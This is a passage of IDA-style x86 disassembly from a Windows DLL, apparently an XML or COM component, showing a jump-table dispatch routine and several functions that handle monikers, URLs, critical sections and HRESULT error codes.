		mov	[ebp+var_58], 3
		mov	[ebp+var_54], 1
		call	sub_69B37C12
		mov	edi, eax
		cmp	edi, ebx
		jnz	loc_69B39049
		movzx	edx, word ptr [esi+86h]
		mov	edi, [esi+80h]
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		lea	edx, [edi+edx*4-8]
		push	edx
		push	2
		push	dword ptr [esi+88h]
		push	esi
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B386CF
		cmp	edi, ebx
		jge	short loc_69B38FCB ; jumptable 69B38BAF	cases 67,68


loc_69B38FC5:				; CODE XREF: sub_69B38A09+518j
		mov	byte ptr [esi+40h], 1
		jmp	short loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38FCB:				; CODE XREF: sub_69B38A09+1A6j
					; sub_69B38A09+5BAj
					; DATA XREF: ...
		push	dword ptr [esi+78h] ; jumptable	69B38BAF cases 67,68
		push	ebx
		jmp	loc_69B38F2C
; ---------------------------------------------------------------------------


loc_69B38FD4:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		cmp	[esi+68h], ebx	; jumptable 69B38BAF case 63
		jnz	short loc_69B38FE0
		mov	edi, 0C00CE552h
		jmp	short loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38FE0:				; CODE XREF: sub_69B38A09+5CEj
		push	[ebp+var_4C]
		mov	eax, [esi+78h]
		push	[ebp+var_50]
		mov	ecx, esi
		mov	[ebp+var_C], eax
		call	sub_69B3856B
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_69B39049
		push	[ebp+var_C]
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		push	ebx
		push	esi
		push	eax
		call	dword ptr [ecx+14h]
		jmp	short loc_69B39040
; ---------------------------------------------------------------------------


loc_69B3900C:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		inc	dword ptr [esi+34h] ; jumptable	69B38BAF case 69
		cmp	[esi+3Bh], bl
		jz	short loc_69B3901B
		mov	ecx, esi
		call	sub_69B386EA


loc_69B3901B:				; CODE XREF: sub_69B38A09+609j
		push	3
		jmp	short loc_69B39033
; ---------------------------------------------------------------------------


loc_69B3901F:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		cmp	[esi+3Dh], bl	; jumptable 69B38BAF case 70
		jz	short loc_69B39049
		mov	eax, [esi+5Ch]
		cmp	[eax+0Eh], bl
		jnz	short loc_69B39049
		cmp	[eax+0Dh], bl
		jnz	short loc_69B39049
		push	5


loc_69B39033:				; CODE XREF: sub_69B38A09+3E1j
					; sub_69B38A09+614j
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+0Ch]


loc_69B39040:				; CODE XREF: sub_69B38A09+2B7j
					; sub_69B38A09+41Dj ...
		mov	edi, eax
		jmp	short loc_69B39049
; ---------------------------------------------------------------------------


loc_69B39044:				; CODE XREF: sub_69B38A09+199j
					; sub_69B38A09+1A6j
					; DATA XREF: ...
		mov	edi, 80004005h	; default
					; jumptable 69B38BAF cases 6,23,25,26


loc_69B39049:				; CODE XREF: sub_69B38A09+1B3j
					; sub_69B38A09+1BFj ...
		lea	ecx, [ebp+var_3C]
		call	sub_69B2DA65


loc_69B39051:				; CODE XREF: sub_69B38A09+145j
		cmp	edi, ebx
		jz	loc_69B38B53
		jmp	short loc_69B3905F
; ---------------------------------------------------------------------------


loc_69B3905B:				; CODE XREF: sub_69B38A09+176j
		mov	byte ptr [esi+24h], 1


loc_69B3905F:				; CODE XREF: sub_69B38A09+14Dj
					; sub_69B38A09+650j
		dec	dword ptr [esi+30h]
		cmp	edi, 0C00CE500h
		jnz	loc_69B3911C
		mov	eax, [esi+5Ch]
		mov	cl, [eax+0Dh]
		mov	dl, [eax+0Fh]
		mov	[ebp+var_3], cl
		mov	cl, [eax+0Eh]
		xor	edi, edi
		cmp	cl, bl
		mov	[ebp+var_2], cl
		mov	[ebp+var_1], dl
		jz	short loc_69B39091
		mov	eax, [eax+18h]
		cmp	eax, [esi+68h]
		jnz	short loc_69B390EC


loc_69B39091:				; CODE XREF: sub_69B38A09+67Ej
		mov	ecx, esi
		call	sub_69B384B3
		test	eax, eax
		jnz	short loc_69B390FD
		cmp	[ebp+var_1], bl
		jnz	short loc_69B390D4
		cmp	[ebp+var_2], bl
		jz	short loc_69B390B7
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		push	7
		push	esi
		push	eax
		call	dword ptr [ecx+0Ch]
		jmp	short loc_69B390CE
; ---------------------------------------------------------------------------


loc_69B390B7:				; CODE XREF: sub_69B38A09+69Bj
		cmp	[ebp+var_3], bl
		jz	short loc_69B390D4
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		push	2
		push	esi
		push	eax
		call	dword ptr [ecx+0Ch]
		dec	dword ptr [esi+34h]


loc_69B390CE:				; CODE XREF: sub_69B38A09+6ACj
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B39120


loc_69B390D4:				; CODE XREF: sub_69B38A09+696j
					; sub_69B38A09+6B1j
		cmp	[esi+30h], ebx
		jg	short loc_69B390E2
		cmp	[esi+26h], bl
		jz	loc_69B38B4B


loc_69B390E2:				; CODE XREF: sub_69B38A09+D1j
					; sub_69B38A09+6CEj
		mov	[esi+39h], bl


loc_69B390E5:				; CODE XREF: sub_69B38A09+87j
		xor	edi, edi
		jmp	loc_69B391AF
; ---------------------------------------------------------------------------


loc_69B390EC:				; CODE XREF: sub_69B38A09+686j
		mov	eax, [esi+5Ch]
		push	dword ptr [eax+18h]
		mov	ecx, esi
		call	sub_69B37E2D


loc_69B390F9:				; CODE XREF: sub_69B38A09+AFj
		mov	edi, eax
		jmp	short loc_69B3911C
; ---------------------------------------------------------------------------


loc_69B390FD:				; CODE XREF: sub_69B38A09+691j
		cmp	[esi+68h], ebx
		jle	short loc_69B3910E
		push	ebx
		mov	ecx, esi
		call	sub_69B37E2D
		mov	edi, eax
		jmp	short loc_69B39118
; ---------------------------------------------------------------------------


loc_69B3910E:				; CODE XREF: sub_69B38A09+6F7j
		cmp	[esi+3Ah], bl
		jnz	short loc_69B39118
		mov	edi, 0C00CE558h


loc_69B39118:				; CODE XREF: sub_69B38A09+703j
					; sub_69B38A09+708j
		mov	byte ptr [ebp+arg_4+3],	1


loc_69B3911C:				; CODE XREF: sub_69B38A09+65Fj
					; sub_69B38A09+6F2j
		cmp	edi, ebx
		jz	short loc_69B3915E


loc_69B39120:				; CODE XREF: sub_69B38A09+6C9j
		cmp	edi, 8000000Ah
		jz	short loc_69B3915E
		mov	ecx, [esi+80h]
		cmp	ecx, ebx
		mov	byte ptr [ebp+arg_4+3],	1
		mov	[esi+1Ch], edi
		jz	short loc_69B39142
		mov	eax, [esi+74h]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_69B39145
; ---------------------------------------------------------------------------


loc_69B39142:				; CODE XREF: sub_69B38A09+72Ej
		mov	[ebp+arg_0], ebx


loc_69B39145:				; CODE XREF: sub_69B38A09+737j
		mov	eax, [esi+8Ch]
		mov	edx, [eax]
		push	ecx
		push	[ebp+arg_0]
		push	edi
		push	esi
		push	eax
		call	dword ptr [edx+18h]
		test	eax, eax
		jz	short loc_69B39163
		mov	[esi+1Ch], edi


loc_69B3915E:				; CODE XREF: sub_69B38A09+715j
					; sub_69B38A09+71Dj
		cmp	byte ptr [ebp+arg_4+3],	bl
		jz	short loc_69B391A5


loc_69B39163:				; CODE XREF: sub_69B38A09+750j
		cmp	[esi+26h], bl
		jnz	short loc_69B391A5
		mov	eax, [esi+8Ch]
		push	8
		push	esi
		mov	[esi+1Ch], edi
		mov	byte ptr [esi+26h], 1
		mov	[esi+27h], bl
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		cmp	eax, ebx
		jz	short loc_69B391A5
		cmp	[esi+1Ch], ebx
		mov	edi, eax
		jnz	short loc_69B391A2
		mov	ecx, [esi+8Ch]
		mov	edx, [ecx]
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ecx
		call	dword ptr [edx+18h]
		cmp	eax, ebx
		jz	short loc_69B391A2
		mov	edi, eax


loc_69B391A2:				; CODE XREF: sub_69B38A09+781j
					; sub_69B38A09+795j
		mov	[esi+1Ch], edi


loc_69B391A5:				; CODE XREF: sub_69B38A09+758j
					; sub_69B38A09+75Dj ...
		mov	[esi+39h], bl
		jmp	short loc_69B391AF
; ---------------------------------------------------------------------------


loc_69B391AA:				; CODE XREF: sub_69B38A09+97j
					; sub_69B38A09+A0j
		mov	edi, 8000000Ah


loc_69B391AF:				; CODE XREF: sub_69B38A09+69j
					; sub_69B38A09+78j ...
		lea	ecx, [ebp+var_3C]
		call	sub_69B2DBD4
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	ds:LeaveCriticalSection
		lea	ecx, [ebp+var_20]
		call	sub_69B1976C
		push	[ebp+var_10]
		call	dword_69B92944
		mov	eax, edi
		pop	edi
		pop	esi


loc_69B391D5:				; CODE XREF: sub_69B38A09+1Bj
		pop	ebx
		leave
		retn	8
sub_69B38A09	endp

; ---------------------------------------------------------------------------
off_69B391DA	dd offset loc_69B38BB6,	offset loc_69B38C65, offset loc_69B38C61
					; DATA XREF: sub_69B38A09+1A6r
		dd offset loc_69B38BD5,	offset loc_69B38CC5, offset loc_69B38D14 ; jump	table for switch statement
		dd offset loc_69B38DEF,	offset loc_69B38DA9, offset loc_69B38E0E
		dd offset loc_69B38DB8,	offset loc_69B38BF6, offset loc_69B38C09
		dd offset loc_69B38C3E,	offset loc_69B38C33, offset loc_69B38CF6
		dd offset loc_69B38D8D,	offset loc_69B38D96, offset loc_69B38D06
		dd offset loc_69B38D9F,	offset loc_69B38DFE, offset loc_69B38E76
		dd offset loc_69B38EE2,	offset loc_69B38FD4, offset loc_69B38F67
		dd offset loc_69B38EDF,	offset loc_69B38F4F, offset loc_69B38FCB
		dd offset loc_69B3900C,	offset loc_69B3901F, offset loc_69B39044
byte_69B39252	db	0,     1,     2,     1 ; DATA XREF: sub_69B38A09+19Fr
		db	3,     4,   1Dh,     5 ; indirect table	for switch statement
		db	5,     5,     5,     5
		db	5,     6,     6,     7
		db	8,     6,     8,     9
		db	9,     9,     7,   1Dh
		db	7,   1Dh,   1Dh,     9
		db    0Ah,   0Bh,   0Bh,   0Ch
		db    0Dh,   0Dh,   0Eh,   0Eh
		db    0Eh,   0Fh,   0Fh,   0Fh
		db    0Fh,   0Fh,   0Fh,   0Fh
		db    0Fh,   0Fh,   10h,   10h
		db    10h,   11h,   12h,   12h
		db    12h,   12h,   12h,   12h
		db    12h,   12h,   13h,   13h
		db    13h,   14h,   15h,   16h
		db    17h,   18h,   19h,   1Ah
		db    1Ah,   1Bh,   1Ch

; =============== S U B	R O U T	I N E =======================================



sub_69B39299	proc near		; CODE XREF: sub_69B3937E+78p
					; sub_69B39507+9Ap ...

arg_0		= dword	ptr  4

		push	esi
		push	0C8h
		mov	esi, ecx
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B392B4
		push	esi
		mov	ecx, eax
		call	sub_69B35A98
		jmp	short loc_69B392B6
; ---------------------------------------------------------------------------


loc_69B392B4:				; CODE XREF: sub_69B39299+Fj
		xor	eax, eax


loc_69B392B6:				; CODE XREF: sub_69B39299+19j
		test	eax, eax
		mov	[esi+14h], eax
		jnz	short loc_69B392C4
		mov	eax, 8007000Eh
		jmp	short loc_69B39308
; ---------------------------------------------------------------------------


loc_69B392C4:				; CODE XREF: sub_69B39299+22j
		xor	ecx, ecx
		mov	cx, [esi+2Ah]
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_69B31CD2
		push	dword ptr [esi+14h]
		mov	ecx, esi
		push	[esp+0Ch+arg_0]
		call	sub_69B3894B
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_69B39305
		push	edi
		mov	edi, [esi+14h]
		test	edi, edi
		jz	short loc_69B392FC
		mov	ecx, edi
		call	sub_69B32133
		push	edi
		call	sub_69B1B2B7


loc_69B392FC:				; CODE XREF: sub_69B39299+54j
		and	dword ptr [esi+14h], 0
		mov	eax, ebx
		pop	edi
		jmp	short loc_69B39307
; ---------------------------------------------------------------------------


loc_69B39305:				; CODE XREF: sub_69B39299+4Cj
		xor	eax, eax


loc_69B39307:				; CODE XREF: sub_69B39299+6Aj
		pop	ebx


loc_69B39308:				; CODE XREF: sub_69B39299+29j
		pop	esi
		retn	4
sub_69B39299	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3930C	proc near		; CODE XREF: sub_69B39325+3p
		push	esi
		mov	esi, ecx
		push	offset dword_69B25E74
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B3930C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B39325	proc near		; CODE XREF: sub_69B3D196+15p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B3930C
		push	1
		push	1Ch
		lea	ecx, [esi+48h]
		mov	dword ptr [esi], offset	off_69B276F8
		mov	dword ptr [esi+4], offset off_69B276F0
		mov	dword ptr [esi+10h], offset off_69B276E4
		call	sub_69B88ED8
		push	0Ah
		push	2Ch
		lea	ecx, [esi+60h]
		call	sub_69B88ED8
		and	dword ptr [esi+8Ch], 0
		mov	eax, [esp+4+arg_0]
		or	dword ptr [esi+0C0h], 0FFFFFFFFh
		mov	ecx, esi
		mov	[esi+0A8h], eax
		call	sub_69B37331
		mov	eax, esi
		pop	esi
		retn	4
sub_69B39325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3937E	proc near		; CODE XREF: sub_69B3967D+85p
					; sub_69B39961+71p ...

var_18		= dword	ptr -18h
lpString	= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= byte ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_18]
		call	sub_69B3A66D
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		jnz	short loc_69B393A2
		mov	edi, 80070057h
		jmp	loc_69B394F3
; ---------------------------------------------------------------------------


loc_69B393A2:				; CODE XREF: sub_69B3937E+18j
		cmp	[esi+50h], ebx
		jnz	short loc_69B393AE
		mov	ecx, esi
		call	sub_69B38726


loc_69B393AE:				; CODE XREF: sub_69B3937E+27j
		cmp	[ebp+arg_0], ebx
		jnz	short loc_69B393BC
		mov	eax, [esi+0B4h]
		mov	[ebp+arg_0], eax


loc_69B393BC:				; CODE XREF: sub_69B3937E+33j
		push	4Ch
		call	sub_69B11E44
		cmp	eax, ebx
		jz	short loc_69B393DA
		push	[ebp+arg_10]
		lea	ecx, [esi+10h]
		push	ecx
		mov	ecx, eax
		call	sub_69B3A342
		mov	[ebp+var_4], eax
		jmp	short loc_69B393DD
; ---------------------------------------------------------------------------


loc_69B393DA:				; CODE XREF: sub_69B3937E+47j
		mov	[ebp+var_4], ebx


loc_69B393DD:				; CODE XREF: sub_69B3937E+5Aj
		cmp	[ebp+var_4], ebx
		jnz	short loc_69B393EC
		mov	edi, 8007000Eh
		jmp	loc_69B394F3
; ---------------------------------------------------------------------------


loc_69B393EC:				; CODE XREF: sub_69B3937E+62j
		cmp	[ebp+arg_C], bl
		mov	ecx, esi
		jz	short loc_69B39416
		push	[ebp+var_4]
		call	sub_69B39299
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_69B394DF
		cmp	byte ptr [ebp+arg_10], bl
		jz	short loc_69B39429
		mov	eax, [esi+14h]
		mov	byte ptr [eax+0A8h], 1
		jmp	short loc_69B39429
; ---------------------------------------------------------------------------


loc_69B39416:				; CODE XREF: sub_69B3937E+73j
		push	ebx
		push	[ebp+var_4]
		call	sub_69B3894B
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_69B394DF


loc_69B39429:				; CODE XREF: sub_69B3937E+8Aj
					; sub_69B3937E+96j
		mov	eax, [esi+5Ch]
		mov	cl, [ebp+arg_8]
		mov	[eax+0Ch], cl
		mov	eax, [esi+5Ch]
		mov	cl, byte ptr [ebp+arg_10]
		mov	[eax+0Dh], cl
		mov	eax, [esi+5Ch]
		mov	cl, [ebp+arg_14]
		mov	[eax+0Eh], cl
		mov	eax, [esi+5Ch]
		mov	cl, [ebp+arg_18]
		mov	[eax+0Fh], cl
		mov	eax, [esi+5Ch]
		cmp	[eax+4], ebx
		jnz	short loc_69B3945F
		mov	edi, 8007000Eh
		jmp	loc_69B394DF
; ---------------------------------------------------------------------------


loc_69B3945F:				; CODE XREF: sub_69B3937E+D5j
		push	[ebp+arg_0]	; int
		lea	ecx, [ebp+var_18]
		push	dword ptr [esi+0B0h] ; lpString
		push	[ebp+arg_4]	; int
		call	sub_69B3A897
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B394DF
		mov	ecx, esi
		call	sub_69B37315
		cmp	eax, ebx
		jnz	short loc_69B3948F
		cmp	[esi+0BCh], ebx
		jz	short loc_69B3948F
		mov	eax, [ebp+arg_0]


loc_69B3948F:				; CODE XREF: sub_69B3937E+104j
					; sub_69B3937E+10Cj
		push	eax		; lpString
		lea	ecx, [ebp+var_18]
		call	sub_69B3A5F4
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B394DF
		push	[ebp+lpString]	; lpString
		mov	ecx, esi
		call	sub_69B3745D
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B394DF
		mov	eax, [esi+5Ch]
		mov	byte ptr [esi+38h], 1
		mov	ecx, [eax+4]
		xor	eax, eax
		cmp	[ebp+arg_8], bl
		setz	al
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_69B3A3DD
		mov	edi, eax
		cmp	edi, ebx
		mov	[esi+38h], bl
		jge	short loc_69B394E8
		push	[ebp+var_18]	; OLECHAR *
		call	SysAllocString
		mov	[esi+44h], eax


loc_69B394DF:				; CODE XREF: sub_69B3937E+81j
					; sub_69B3937E+A5j ...
		mov	ecx, esi
		call	sub_69B384B3
		jmp	short loc_69B394EA
; ---------------------------------------------------------------------------


loc_69B394E8:				; CODE XREF: sub_69B3937E+153j
		xor	edi, edi


loc_69B394EA:				; CODE XREF: sub_69B3937E+168j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B394F3:				; CODE XREF: sub_69B3937E+1Fj
					; sub_69B3937E+69j
		lea	ecx, [ebp+var_18]
		mov	[esi+1Ch], edi
		call	sub_69B3A8F3
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	1Ch
sub_69B3937E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B39507(int, int, LPMONIKER ppmk, int, int)

sub_69B39507	proc near		; DATA XREF: .text:69B27734o

var_28		= dword	ptr -28h
lpString	= dword	ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
lpCriticalSection= dword ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
ppmk		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		call	dword_69B92948
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_69B39527
		mov	eax, 80004005h
		jmp	loc_69B39678
; ---------------------------------------------------------------------------


loc_69B39527:				; CODE XREF: sub_69B39507+14j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+0A8h]
		lea	ecx, [ebp+var_14]
		push	eax
		call	sub_69B1A8C7
		lea	eax, [esi+90h]
		push	eax		; lpCriticalSection
		mov	[ebp+lpCriticalSection], eax
		call	ds:EnterCriticalSection
		lea	ecx, [ebp+var_28]
		call	sub_69B3A66D
		cmp	[ebp+ppmk], ebx
		jnz	short loc_69B39562
		mov	edi, 80070057h
		jmp	loc_69B39652
; ---------------------------------------------------------------------------


loc_69B39562:				; CODE XREF: sub_69B39507+4Fj
		cmp	[esi+50h], ebx
		jnz	short loc_69B3956E
		mov	ecx, esi
		call	sub_69B38726


loc_69B3956E:				; CODE XREF: sub_69B39507+5Ej
		push	4Ch
		call	sub_69B11E44
		cmp	eax, ebx
		jz	short loc_69B3958A
		push	ebx
		lea	ecx, [esi+10h]
		push	ecx
		mov	ecx, eax
		call	sub_69B3A342
		mov	[ebp+arg_0], eax
		jmp	short loc_69B3958D
; ---------------------------------------------------------------------------


loc_69B3958A:				; CODE XREF: sub_69B39507+70j
		mov	[ebp+arg_0], ebx


loc_69B3958D:				; CODE XREF: sub_69B39507+81j
		cmp	[ebp+arg_0], ebx
		jnz	short loc_69B3959C
		mov	edi, 8007000Eh
		jmp	loc_69B39652
; ---------------------------------------------------------------------------


loc_69B3959C:				; CODE XREF: sub_69B39507+89j
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B39299
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_69B39642
		mov	eax, [esi+5Ch]
		cmp	[eax+4], ebx
		jnz	short loc_69B395C2
		mov	edi, 8007000Eh
		jmp	loc_69B39642
; ---------------------------------------------------------------------------


loc_69B395C2:				; CODE XREF: sub_69B39507+AFj
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+ppmk]
		call	sub_69B37FBC
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B39642
		mov	ecx, esi
		call	sub_69B37315
		push	eax		; lpString
		lea	ecx, [ebp+var_28]
		call	sub_69B3A5F4
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B39642
		push	[ebp+lpString]	; lpString
		mov	ecx, esi
		call	sub_69B3745D
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B39642
		cmp	[ebp+arg_4], ebx
		mov	ecx, [esi+5Ch]
		setz	al
		mov	byte ptr [esi+38h], 1
		mov	[ecx+0Ch], al
		mov	eax, [esi+5Ch]
		mov	ecx, [eax+4]
		xor	eax, eax
		cmp	[ebp+arg_4], ebx
		setnz	al
		push	eax		; int
		lea	eax, [ebp+var_28]
		push	eax		; int
		push	[ebp+arg_C]	; int
		push	[ebp+ppmk]	; ppmk
		call	sub_69B3A45B
		mov	edi, eax
		cmp	edi, ebx
		mov	[esi+38h], bl
		jge	short loc_69B39649
		push	[ebp+var_28]	; OLECHAR *
		call	SysAllocString
		mov	[esi+44h], eax


loc_69B39642:				; CODE XREF: sub_69B39507+A3j
					; sub_69B39507+B6j ...
		mov	ecx, esi
		call	sub_69B384B3


loc_69B39649:				; CODE XREF: sub_69B39507+12Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B39652:				; CODE XREF: sub_69B39507+56j
					; sub_69B39507+90j
		lea	ecx, [ebp+var_28]
		call	sub_69B3A8F3
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	ds:LeaveCriticalSection
		lea	ecx, [ebp+var_14]
		call	sub_69B1976C
		push	[ebp+var_8]
		call	dword_69B92944
		mov	eax, edi
		pop	edi
		pop	esi


loc_69B39678:				; CODE XREF: sub_69B39507+1Bj
		pop	ebx
		leave
		retn	14h
sub_69B39507	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3967D	proc near		; DATA XREF: .text:69B27740o

var_14		= byte ptr -14h
var_8		= dword	ptr -8
lpCriticalSection= dword ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	short loc_69B3969A
		mov	eax, 80004005h
		jmp	locret_69B3972C
; ---------------------------------------------------------------------------


loc_69B3969A:				; CODE XREF: sub_69B3967D+11j
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+0A8h]
		lea	ecx, [ebp+var_14]
		push	eax
		call	sub_69B1A8C7
		lea	eax, [esi+90h]
		push	eax		; lpCriticalSection
		mov	[ebp+lpCriticalSection], eax
		call	ds:EnterCriticalSection
		mov	eax, [esi+5Ch]
		and	[ebp+arg_0], 0
		xor	edi, edi
		inc	edi
		test	eax, eax
		jz	short loc_69B396D6
		cmp	byte ptr [eax+0Ch], 0
		jz	short loc_69B396D6
		mov	[ebp+arg_0], edi


loc_69B396D6:				; CODE XREF: sub_69B3967D+4Ej
					; sub_69B3967D+54j
		mov	eax, [esi+8Ch]
		inc	dword ptr [esi+34h]
		mov	ecx, [eax]
		push	edi
		push	esi
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B3970D
		cmp	[ebp+arg_0], edi
		push	0
		push	0
		setz	al
		push	edi
		push	edi
		mov	ecx, esi
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_69B3937E
		mov	ebx, eax
		mov	byte ptr [esi+2Eh], 0


loc_69B3970D:				; CODE XREF: sub_69B3967D+6Ej
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	ds:LeaveCriticalSection
		lea	ecx, [ebp+var_14]
		call	sub_69B1976C
		push	[ebp+var_8]
		call	dword_69B92944
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx

locret_69B3972C:			; CODE XREF: sub_69B3967D+18j
		leave
		retn	0Ch
sub_69B3967D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B39730	proc near		; DATA XREF: .text:69B27738o

lpString	= dword	ptr -7Ch
var_34		= byte ptr -34h
lpszUrl		= dword	ptr -2Ch
var_20		= byte ptr -20h
lpCriticalSection= dword ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_4], eax
		jnz	short loc_69B39753
		mov	eax, 80070057h
		jmp	loc_69B398B8
; ---------------------------------------------------------------------------


loc_69B39753:				; CODE XREF: sub_69B39730+17j
		call	dword_69B92948
		cmp	eax, esi
		mov	[ebp+var_10], eax
		jnz	short loc_69B3976A
		mov	eax, 80004005h
		jmp	loc_69B398B8
; ---------------------------------------------------------------------------


loc_69B3976A:				; CODE XREF: sub_69B39730+2Ej
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		push	dword ptr [ebx+0A8h]
		lea	ecx, [ebp+var_20]
		push	eax
		call	sub_69B1A8C7
		lea	edi, [ebx+90h]
		push	edi		; lpCriticalSection
		mov	[ebp+lpCriticalSection], edi
		call	ds:EnterCriticalSection
		cmp	[ebx+50h], esi
		jnz	short loc_69B3979A
		mov	ecx, ebx
		call	sub_69B38726


loc_69B3979A:				; CODE XREF: sub_69B39730+61j
		push	esi
		mov	ecx, ebx
		call	sub_69B39299
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jge	short loc_69B397AF
		push	edi
		jmp	loc_69B3989C
; ---------------------------------------------------------------------------


loc_69B397AF:				; CODE XREF: sub_69B39730+77j
		push	12h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+lpString]
		rep stosd
		mov	edi, [ebp+arg_4]
		mov	eax, [edi]
		lea	ecx, [ebp+var_8]
		push	ecx
		push	offset dword_69B2AFF0
		push	edi
		mov	[ebp+var_8], esi
		mov	[ebp+var_C], esi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B3984C
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	esi
		lea	edx, [ebp+lpString]
		push	edx
		push	eax
		call	dword ptr [ecx+30h]
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jl	short loc_69B39847
		cmp	[ebp+lpString],	esi
		jz	short loc_69B39847
		push	[ebp+lpString]	; lpString
		mov	ecx, ebx
		call	sub_69B3745D
		mov	ecx, ebx
		call	sub_69B37315
		mov	edi, eax
		mov	eax, [ebp+lpString]
		cmp	[eax], si
		jz	short loc_69B3983C
		cmp	edi, esi
		jz	short loc_69B3983C
		cmp	[edi], si
		jz	short loc_69B3983C
		lea	ecx, [ebp+var_34]
		call	sub_69B3A66D
		push	esi		; int
		push	esi		; lpString
		push	[ebp+lpString]	; int
		lea	ecx, [ebp+var_34]
		call	sub_69B3A897
		push	esi		; int
		push	edi		; int
		push	[ebp+lpszUrl]	; lpszUrl
		call	sub_69B39C17
		lea	ecx, [ebp+var_34]
		mov	[ebp+arg_0], eax
		call	sub_69B3A8F3


loc_69B3983C:				; CODE XREF: sub_69B39730+D7j
					; sub_69B39730+DBj ...
		push	[ebp+lpString]	; pv
		call	ds:CoTaskMemFree
		jmp	short loc_69B3986C
; ---------------------------------------------------------------------------


loc_69B39847:				; CODE XREF: sub_69B39730+B7j
					; sub_69B39730+BCj
		mov	[ebp+arg_0], esi
		jmp	short loc_69B3986C
; ---------------------------------------------------------------------------


loc_69B3984C:				; CODE XREF: sub_69B39730+A2j
		mov	eax, [edi]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	offset dword_69B2B000
		push	edi
		call	dword ptr [eax]
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jl	short loc_69B3987F
